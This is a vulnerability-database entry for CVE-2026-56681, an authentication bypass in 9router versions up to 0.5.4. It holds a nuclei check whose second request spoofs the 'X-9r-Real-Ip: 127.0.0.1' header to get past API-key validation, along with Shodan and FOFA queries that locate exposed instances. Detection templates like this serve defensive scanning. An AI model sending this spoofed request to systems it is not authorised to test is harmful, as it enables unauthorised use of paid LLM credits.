HexBrain

Browse / CVEs / CVE-2026-56681

CVE-2026-56681· CWE-807

9router <=0.5.4 - Authentication Bypass

highseverity
7.3CVSS score
1.1%likelihood of exploitation, next 30 days
66%of all CVEs are less likely
Readycheck to confirm it

9Router prior to 0.5.6 contains an authentication bypass caused by trusting client-supplied X-9r-Real-Ip header in src/dashboardGuard.js, letting remote unauthenticated attackers access local API routes and consume resources, exploit requires bypassing API-key validation via header manipulation.

Impact

Remote attackers can bypass API-key validation to use LLM providers, consume paid credits, and enumerate models without authorization.

Fix

Update to version 0.5.6 or later.

How to confirm it

Send: GET /api/v1/models
Positive when: status_code == 401 and contains(body, "API key required for remote API access")
Send: GET /api/v1/models
Positive when: status_code == 200 and contains(content_type, "json") and contains_all(body, "owned_by", "object", "data")

Run it with nuclei: nuclei -id CVE-2026-56681 -u <target>

The full check
id: CVE-2026-56681

info:
  name: 9router <=0.5.4 - Authentication Bypass
  author: 0x_Akoko
  severity: high
  description: |
    9Router prior to 0.5.6 contains an authentication bypass caused by trusting client-supplied X-9r-Real-Ip header in src/dashboardGuard.js, letting remote unauthenticated attackers access local API routes and consume resources, exploit requires bypassing API-key validation via header manipulation.
  impact: |
    Remote attackers can bypass API-key validation to use LLM providers, consume paid credits, and enumerate models without authorization.
  remediation: |
    Update to version 0.5.6 or later.
  reference:
    - https://github.com/advisories/GHSA-5mj8-gf6m-fhw8
    - https://github.com/decolua/9router/security/advisories/GHSA-5mj8-gf6m-fhw8
    - https://github.com/decolua/9router/commit/efd20be8d81ef2e256a7037f3aa78e6b567b5fd3
    - https://github.com/decolua/9router/releases/tag/v0.5.6
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 7.3
    cve-id: CVE-2026-56681
    epss-score: 0.01114
    epss-percentile: 0.66291
    cwe-id: CWE-807
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.html:"9Router"
    fofa-query: body="9Router"
  tags: cve,cve2026,9router,auth-bypass,llm,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /api/v1/models HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        internal: true
        dsl:
          - 'status_code == 401'
          - 'contains(body, "API key required for remote API access")'
        condition: and

  - raw:
      - |
        GET /api/v1/models HTTP/1.1
        Host: {{Hostname}}
        X-9r-Real-Ip: 127.0.0.1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'contains_all(body, "owned_by", "object", "data")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from